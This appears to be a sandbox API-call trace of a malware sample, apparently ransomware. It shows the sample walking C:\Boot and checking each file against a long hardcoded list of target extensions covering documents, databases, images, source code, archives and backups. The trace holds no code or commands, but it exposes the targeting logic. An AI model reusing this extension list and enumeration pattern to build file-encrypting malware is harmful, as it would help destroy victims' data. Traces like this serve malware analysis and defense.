	[0205.416] lstrcmpiW (lpString1=".ppm", lpString2="￿BCD") returned -1
	[0205.416] lstrlenW (lpString=".pps") returned 4
	[0205.416] lstrcmpiW (lpString1=".pps", lpString2="￿BCD") returned -1
	[0205.416] lstrlenW (lpString=".ppsm") returned 5
	[0205.416] lstrcmpiW (lpString1=".ppsm", lpString2="쩄￿BCD") returned -1
	[0205.416] lstrlenW (lpString=".ppt") returned 4
	[0205.416] lstrcmpiW (lpString1=".ppt", lpString2="￿BCD") returned -1
	[0205.417] lstrlenW (lpString=".pptm") returned 5
	[0205.417] lstrcmpiW (lpString1=".pptm", lpString2="쩄￿BCD") returned -1
	[0205.417] lstrlenW (lpString=".pptx") returned 5
	[0205.417] lstrcmpiW (lpString1=".pptx", lpString2="쩄￿BCD") returned -1
	[0205.417] lstrlenW (lpString=".prn") returned 4
	[0205.417] lstrcmpiW (lpString1=".prn", lpString2="￿BCD") returned -1
	[0205.417] lstrlenW (lpString=".ps") returned 3
	[0205.417] lstrcmpiW (lpString1=".ps", lpString2="BCD") returned -1
	[0205.417] lstrlenW (lpString=".psb") returned 4
	[0205.417] lstrcmpiW (lpString1=".psb", lpString2="￿BCD") returned -1
	[0205.417] lstrlenW (lpString=".psd") returned 4
	[0205.417] lstrcmpiW (lpString1=".psd", lpString2="￿BCD") returned -1
	[0205.417] lstrlenW (lpString=".pst") returned 4
	[0205.417] lstrcmpiW (lpString1=".pst", lpString2="￿BCD") returned -1
	[0205.418] lstrlenW (lpString=".ptx") returned 4
	[0205.418] lstrcmpiW (lpString1=".ptx", lpString2="￿BCD") returned -1
	[0205.418] lstrlenW (lpString=".pub") returned 4
	[0205.418] lstrcmpiW (lpString1=".pub", lpString2="￿BCD") returned -1
	[0205.418] lstrlenW (lpString=".pwm") returned 4
	[0205.418] lstrcmpiW (lpString1=".pwm", lpString2="￿BCD") returned -1
	[0205.418] lstrlenW (lpString=".pxr") returned 4
	[0205.418] lstrcmpiW (lpString1=".pxr", lpString2="￿BCD") returned -1
	[0205.419] lstrlenW (lpString=".py") returned 3
	[0205.419] lstrcmpiW (lpString1=".py", lpString2="BCD") returned -1
	[0205.419] lstrlenW (lpString=".qt") returned 3
	[0205.419] lstrcmpiW (lpString1=".qt", lpString2="BCD") returned -1
	[0205.419] lstrlenW (lpString=".r3d") returned 4
	[0205.419] lstrcmpiW (lpString1=".r3d", lpString2="￿BCD") returned -1
	[0205.419] lstrlenW (lpString=".raf") returned 4
	[0205.419] lstrcmpiW (lpString1=".raf", lpString2="￿BCD") returned -1
	[0205.419] lstrlenW (lpString=".rar") returned 4
	[0205.419] lstrcmpiW (lpString1=".rar", lpString2="￿BCD") returned -1
	[0205.419] lstrlenW (lpString=".raw") returned 4
	[0205.419] lstrcmpiW (lpString1=".raw", lpString2="￿BCD") returned -1
	[0205.420] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0205.420] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0205.420] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0205.420] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0205.421] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x43f0050
	[0205.421] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x652418
	[0205.421] FindNextFileW (in: hFindFile=0x652418, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0205.421] FindNextFileW (in: hFindFile=0x652418, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.421] FindNextFileW (in: hFindFile=0x652418, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0205.421] FindClose (in: hFindFile=0x652418 | out: hFindFile=0x652418) returned 1
	[0205.421] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0205.421] FindNextFileW (in: hFindFile=0x6524d8, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1
	[0205.421] lstrlenW (lpString="bootspaces.dll") returned 14
	[0205.422] lstrlenW (lpString=".1cd") returned 4
	[0205.422] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0205.422] lstrlenW (lpString=".3ds") returned 4
	[0205.422] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0205.422] lstrlenW (lpString=".3fr") returned 4
	[0205.422] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0205.422] lstrlenW (lpString=".3g2") returned 4
	[0205.422] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0205.422] lstrlenW (lpString=".3gp") returned 4
	[0205.422] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0205.422] lstrlenW (lpString=".7z") returned 3
	[0205.422] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0205.422] lstrlenW (lpString=".accda") returned 6
	[0205.422] lstrcmpiW (lpString1=".accda", lpString2="es.dll") returned -1
	[0205.422] lstrlenW (lpString=".accdb") returned 6
	[0205.422] lstrcmpiW (lpString1=".accdb", lpString2="es.dll") returned -1
	[0205.422] lstrlenW (lpString=".accdc") returned 6
	[0205.422] lstrcmpiW (lpString1=".accdc", lpString2="es.dll") returned -1
	[0205.422] lstrlenW (lpString=".accde") returned 6
	[0205.422] lstrcmpiW (lpString1=".accde", lpString2="es.dll") returned -1
	[0205.422] lstrlenW (lpString=".accdt") returned 6
	[0205.422] lstrcmpiW (lpString1=".accdt", lpString2="es.dll") returned -1
	[0205.422] lstrlenW (lpString=".accdw") returned 6
	[0205.422] lstrcmpiW (lpString1=".accdw", lpString2="es.dll") returned -1
	[0205.422] lstrlenW (lpString=".adb") returned 4
	[0205.422] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
	[0205.422] lstrlenW (lpString=".adp") returned 4
	[0205.422] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0205.422] lstrlenW (lpString=".ai") returned 3
	[0205.422] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0205.422] lstrlenW (lpString=".ai3") returned 4
	[0205.422] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0205.422] lstrlenW (lpString=".ai4") returned 4
	[0205.422] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0205.423] lstrlenW (lpString=".ai5") returned 4
	[0205.423] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
	[0205.423] lstrlenW (lpString=".ai6") returned 4
	[0205.423] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0205.423] lstrlenW (lpString=".ai7") returned 4
	[0205.423] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0205.423] lstrlenW (lpString=".ai8") returned 4
	[0205.423] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0205.423] lstrlenW (lpString=".anim") returned 5
	[0205.423] lstrcmpiW (lpString1=".anim", lpString2="s.dll") returned -1
	[0205.423] lstrlenW (lpString=".arw") returned 4
	[0205.423] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0205.423] lstrlenW (lpString=".as") returned 3
	[0205.423] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0205.423] lstrlenW (lpString=".asa") returned 4
	[0205.423] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
	[0205.423] lstrlenW (lpString=".asc") returned 4
	[0205.423] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0205.423] lstrlenW (lpString=".ascx") returned 5
	[0205.423] lstrcmpiW (lpString1=".ascx", lpString2="s.dll") returned -1
	[0205.423] lstrlenW (lpString=".asm") returned 4
	[0205.423] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0205.423] lstrlenW (lpString=".asmx") returned 5
	[0205.423] lstrcmpiW (lpString1=".asmx", lpString2="s.dll") returned -1
	[0205.423] lstrlenW (lpString=".asp") returned 4
	[0205.423] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0205.423] lstrlenW (lpString=".aspx") returned 5
	[0205.423] lstrcmpiW (lpString1=".aspx", lpString2="s.dll") returned -1
	[0205.423] lstrlenW (lpString=".asr") returned 4
	[0205.423] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0205.423] lstrlenW (lpString=".asx") returned 4
	[0205.423] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0205.423] lstrlenW (lpString=".avi") returned 4
	[0205.424] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0205.424] lstrlenW (lpString=".avs") returned 4
	[0205.424] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0205.424] lstrlenW (lpString=".backup") returned 7
	[0205.424] lstrcmpiW (lpString1=".backup", lpString2="ces.dll") returned -1
	[0205.424] lstrlenW (lpString=".bak") returned 4
	[0205.424] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0205.424] lstrlenW (lpString=".bay") returned 4
	[0205.424] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0205.424] lstrlenW (lpString=".bd") returned 3
	[0205.424] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
	[0205.424] lstrlenW (lpString=".bin") returned 4
	[0205.424] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0205.424] lstrlenW (lpString=".bmp") returned 4
	[0205.424] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0205.424] lstrlenW (lpString=".bz2") returned 4
	[0205.424] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0205.424] lstrlenW (lpString=".c") returned 2
	[0205.424] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0205.424] lstrlenW (lpString=".cdr") returned 4
	[0205.424] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0205.424] lstrlenW (lpString=".cer") returned 4
	[0205.424] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0205.424] lstrlenW (lpString=".cf") returned 3
	[0205.424] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0205.424] lstrlenW (lpString=".cfc") returned 4
	[0205.424] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0205.424] lstrlenW (lpString=".cfm") returned 4
	[0205.424] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0205.424] lstrlenW (lpString=".cfml") returned 5
	[0205.424] lstrcmpiW (lpString1=".cfml", lpString2="s.dll") returned -1
	[0205.424] lstrlenW (lpString=".cfu") returned 4
	[0205.424] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0205.424] lstrlenW (lpString=".chm") returned 4
	[0205.424] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0205.425] lstrlenW (lpString=".cin") returned 4
	[0205.425] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0205.425] lstrlenW (lpString=".class") returned 6
	[0205.425] lstrcmpiW (lpString1=".class", lpString2="es.dll") returned -1
	[0205.425] lstrlenW (lpString=".clx") returned 4
	[0205.425] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0205.425] lstrlenW (lpString=".config") returned 7
	[0205.425] lstrcmpiW (lpString1=".config", lpString2="ces.dll") returned -1
	[0205.425] lstrlenW (lpString=".cpp") returned 4
	[0205.425] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0205.425] lstrlenW (lpString=".cr2") returned 4
	[0205.425] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0205.425] lstrlenW (lpString=".crt") returned 4
	[0205.425] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0205.425] lstrlenW (lpString=".crw") returned 4
	[0205.425] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0205.425] lstrlenW (lpString=".cs") returned 3
	[0205.425] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0205.425] lstrlenW (lpString=".css") returned 4
	[0205.425] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0205.425] lstrlenW (lpString=".csv") returned 4
	[0205.425] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0205.425] lstrlenW (lpString=".cub") returned 4
	[0205.425] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0205.425] lstrlenW (lpString=".dae") returned 4
	[0205.425] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0205.425] lstrlenW (lpString=".dat") returned 4
	[0205.425] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0205.425] lstrlenW (lpString=".db") returned 3
	[0205.425] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0205.425] lstrlenW (lpString=".dbf") returned 4
	[0205.425] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0205.426] lstrlenW (lpString=".dbx") returned 4
	[0205.426] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0205.426] lstrlenW (lpString=".dc3") returned 4
	[0205.426] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0205.426] lstrlenW (lpString=".dcm") returned 4
	[0205.426] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0205.426] lstrlenW (lpString=".dcr") returned 4
	[0205.426] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0205.426] lstrlenW (lpString=".der") returned 4
	[0205.426] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0205.426] lstrlenW (lpString=".dib") returned 4
	[0205.426] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0205.426] lstrlenW (lpString=".dic") returned 4
	[0205.426] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0205.426] lstrlenW (lpString=".dif") returned 4
	[0205.426] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
	[0205.426] lstrlenW (lpString=".divx") returned 5
	[0205.426] lstrcmpiW (lpString1=".divx", lpString2="s.dll") returned -1
	[0205.426] lstrlenW (lpString=".djvu") returned 5
	[0205.426] lstrcmpiW (lpString1=".djvu", lpString2="s.dll") returned -1
	[0205.426] lstrlenW (lpString=".dng") returned 4
	[0205.426] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0205.426] lstrlenW (lpString=".doc") returned 4
	[0205.426] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0205.426] lstrlenW (lpString=".docm") returned 5
	[0205.426] lstrcmpiW (lpString1=".docm", lpString2="s.dll") returned -1
	[0205.426] lstrlenW (lpString=".docx") returned 5
	[0205.426] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0205.426] lstrlenW (lpString=".dot") returned 4
	[0205.426] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0205.426] lstrlenW (lpString=".dotm") returned 5
	[0205.426] lstrcmpiW (lpString1=".dotm", lpString2="s.dll") returned -1
	[0205.426] lstrlenW (lpString=".dotx") returned 5
	[0205.427] lstrcmpiW (lpString1=".dotx", lpString2="s.dll") returned -1
	[0205.427] lstrlenW (lpString=".dpx") returned 4
	[0205.427] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0205.427] lstrlenW (lpString=".dqy") returned 4
	[0205.427] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0205.427] lstrlenW (lpString=".dsn") returned 4
	[0205.427] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0205.427] lstrlenW (lpString=".dt") returned 3
	[0205.427] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0205.427] lstrlenW (lpString=".dtd") returned 4
	[0205.427] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0205.427] lstrlenW (lpString=".dwg") returned 4
	[0205.427] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0205.427] lstrlenW (lpString=".dwt") returned 4
	[0205.427] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0205.427] lstrlenW (lpString=".dx") returned 3
	[0205.427] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0205.427] lstrlenW (lpString=".dxf") returned 4
	[0205.427] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0205.427] lstrlenW (lpString=".edml") returned 5
	[0205.427] lstrcmpiW (lpString1=".edml", lpString2="s.dll") returned -1
	[0205.427] lstrlenW (lpString=".efd") returned 4
	[0205.427] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0205.427] lstrlenW (lpString=".elf") returned 4
	[0205.427] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0205.427] lstrlenW (lpString=".emf") returned 4
	[0205.427] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0205.427] lstrlenW (lpString=".emz") returned 4
	[0205.428] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0205.428] lstrlenW (lpString=".epf") returned 4
	[0205.428] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0205.428] lstrlenW (lpString=".eps") returned 4
	[0205.428] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0205.428] lstrlenW (lpString=".epsf") returned 5
	[0205.428] lstrcmpiW (lpString1=".epsf", lpString2="s.dll") returned -1
	[0205.428] lstrlenW (lpString=".epsp") returned 5
	[0205.428] lstrcmpiW (lpString1=".epsp", lpString2="s.dll") returned -1
	[0205.428] lstrlenW (lpString=".erf") returned 4
	[0205.428] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0205.428] lstrlenW (lpString=".exr") returned 4
	[0205.428] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0205.428] lstrlenW (lpString=".f4v") returned 4
	[0205.428] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0205.428] lstrlenW (lpString=".fido") returned 5
	[0205.428] lstrcmpiW (lpString1=".fido", lpString2="s.dll") returned -1
	[0205.428] lstrlenW (lpString=".flm") returned 4
	[0205.428] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0205.428] lstrlenW (lpString=".flv") returned 4
	[0205.428] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0205.428] lstrlenW (lpString=".frm") returned 4
	[0205.428] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0205.428] lstrlenW (lpString=".fxg") returned 4
	[0205.428] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0205.428] lstrlenW (lpString=".geo") returned 4
	[0205.428] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0205.428] lstrlenW (lpString=".gif") returned 4
	[0205.429] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0205.429] lstrlenW (lpString=".grs") returned 4
	[0205.429] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0205.429] lstrlenW (lpString=".gz") returned 3
	[0205.429] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0205.429] lstrlenW (lpString=".h") returned 2
	[0205.429] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0205.429] lstrlenW (lpString=".hdr") returned 4
	[0205.429] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1
	[0205.429] lstrlenW (lpString=".hpp") returned 4
	[0205.429] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1
	[0205.429] lstrlenW (lpString=".hta") returned 4
	[0205.429] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1
	[0205.429] lstrlenW (lpString=".htc") returned 4
	[0205.429] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1
	[0205.429] lstrlenW (lpString=".htm") returned 4
	[0205.429] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1
	[0205.429] lstrlenW (lpString=".html") returned 5
	[0205.429] lstrcmpiW (lpString1=".html", lpString2="s.dll") returned -1
	[0205.429] lstrlenW (lpString=".icb") returned 4
	[0205.429] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1
	[0205.429] lstrlenW (lpString=".ics") returned 4
	[0205.429] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1
	[0205.429] lstrlenW (lpString=".iff") returned 4
	[0205.429] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1
	[0205.429] lstrlenW (lpString=".inc") returned 4
	[0205.429] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1
	[0205.429] lstrlenW (lpString=".indd") returned 5
	[0205.430] lstrcmpiW (lpString1=".indd", lpString2="s.dll") returned -1
	[0205.430] lstrlenW (lpString=".ini") returned 4
	[0205.430] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1
	[0205.430] lstrlenW (lpString=".iqy") returned 4
	[0205.430] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1
	[0205.430] lstrlenW (lpString=".j2c") returned 4
	[0205.430] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1
	[0205.430] lstrlenW (lpString=".j2k") returned 4
	[0205.430] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1
	[0205.430] lstrlenW (lpString=".java") returned 5
	[0205.430] lstrcmpiW (lpString1=".java", lpString2="s.dll") returned -1
	[0205.430] lstrlenW (lpString=".jp2") returned 4
	[0205.430] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1
	[0205.430] lstrlenW (lpString=".jpc") returned 4
	[0205.430] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1
	[0205.430] lstrlenW (lpString=".jpe") returned 4
	[0205.430] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1
	[0205.430] lstrlenW (lpString=".jpeg") returned 5
	[0205.430] lstrcmpiW (lpString1=".jpeg", lpString2="s.dll") returned -1
	[0205.430] lstrlenW (lpString=".jpf") returned 4
	[0205.430] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1
	[0205.430] lstrlenW (lpString=".jpg") returned 4
	[0205.430] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0205.430] lstrlenW (lpString=".jpx") returned 4
	[0205.430] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1
	[0205.430] lstrlenW (lpString=".js") returned 3
	[0205.430] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1
	[0205.430] lstrlenW (lpString=".jsf") returned 4
	[0205.431] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1
	[0205.431] lstrlenW (lpString=".json") returned 5
	[0205.431] lstrcmpiW (lpString1=".json", lpString2="s.dll") returned -1
	[0205.431] lstrlenW (lpString=".jsp") returned 4
	[0205.431] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1
	[0205.431] lstrlenW (lpString=".kdc") returned 4
	[0205.431] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1
	[0205.431] lstrlenW (lpString=".kmz") returned 4
	[0205.431] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1
	[0205.431] lstrlenW (lpString=".kwm") returned 4
	[0205.431] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1
	[0205.431] lstrlenW (lpString=".lasso") returned 6
	[0205.431] lstrcmpiW (lpString1=".lasso", lpString2="es.dll") returned -1
	[0205.431] lstrlenW (lpString=".lbi") returned 4
	[0205.431] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1
	[0205.431] lstrlenW (lpString=".lgf") returned 4
	[0205.431] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1
	[0205.431] lstrlenW (lpString=".lgp") returned 4
	[0205.431] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1
	[0205.431] lstrlenW (lpString=".log") returned 4
	[0205.431] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1
	[0205.431] lstrlenW (lpString=".m1v") returned 4
	[0205.431] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1
	[0205.431] lstrlenW (lpString=".m4a") returned 4
	[0205.431] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1
	[0205.431] lstrlenW (lpString=".m4v") returned 4
	[0205.431] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1
	[0205.432] lstrlenW (lpString=".max") returned 4
	[0205.432] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1
	[0205.432] lstrlenW (lpString=".md") returned 3
	[0205.432] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1
	[0205.432] lstrlenW (lpString=".mda") returned 4
	[0205.432] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1
	[0205.432] lstrlenW (lpString=".mdb") returned 4
